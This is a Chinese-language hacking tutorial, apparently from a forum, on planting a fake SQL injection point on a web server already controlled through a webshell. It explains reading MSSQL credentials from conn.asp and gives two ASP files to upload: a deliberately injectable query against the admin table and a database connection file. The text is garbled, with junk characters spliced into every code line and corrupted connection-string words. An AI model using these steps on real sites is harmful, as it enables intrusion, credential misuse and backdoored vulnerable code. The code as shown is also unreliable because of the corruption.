首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
/ H R6 I. ^' X- L6 v8 RASP/Visual Basic代码( Y. D# b- {* q }& Z( `3 `
<!--#include file="xx.asp"--> 3 u$ D0 \/ b4 e0 F. k. r: U
<%
, G3 |" z% W5 |set rs=server.createobject("ADODB.recordset") ) D7 l2 D* B- K& ~$ {
id = request("id")
8 V4 Z( |6 k; `strSQL = "select * from admin where id=" & id
1 g4 c) [/ r3 [3 T! B9 xrs.open strSQL,conn,1,3
7 Q d4 s P t+ e8 _4 y( \% f+ hrs.close
3 U" O$ ~, I- @: j! J%> d1 ^. }) a f: Q
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!. i% s/ o5 ^5 d5 S
然后就要构造一个连接数据库的文件了,代码如下:
/ p A! M9 b2 ~) @0 I: t( z3 k/ U! KASP/Visual Basic代码7 n& c& e4 I, q
<% 0 O W% A6 q: _4 J1 C! N, z9 X
strSQLServerName = "000.000.000.000" '服务器名称或地址 0 @/ y, N* D- M8 D/ `3 z
strSQLDBUserName = "sqlname" '数据库帐号 ?1 s1 y: Q w9 N
strSQLDBPassword = "sqlpass" '数据库密码 $ u$ D% k2 n0 y3 W) J- {
strSQLDBName = "sqldataname" '数据库名称
: _% p' q4 W. E$ Q. r3 e U$ w6 J6 RSet conn = Server.CreateObject("ADODB.Connection")
. F8 r- C1 L2 V* w8 K }strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
; `. c5 K* b1 m1 r/ L- X mconn.open strCon " m2 J) _$ K& e
%>
5 g0 ?1 _/ r* ^& ~2 ?这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功' m9 z5 G( R* G m- |9 `& t6 J
|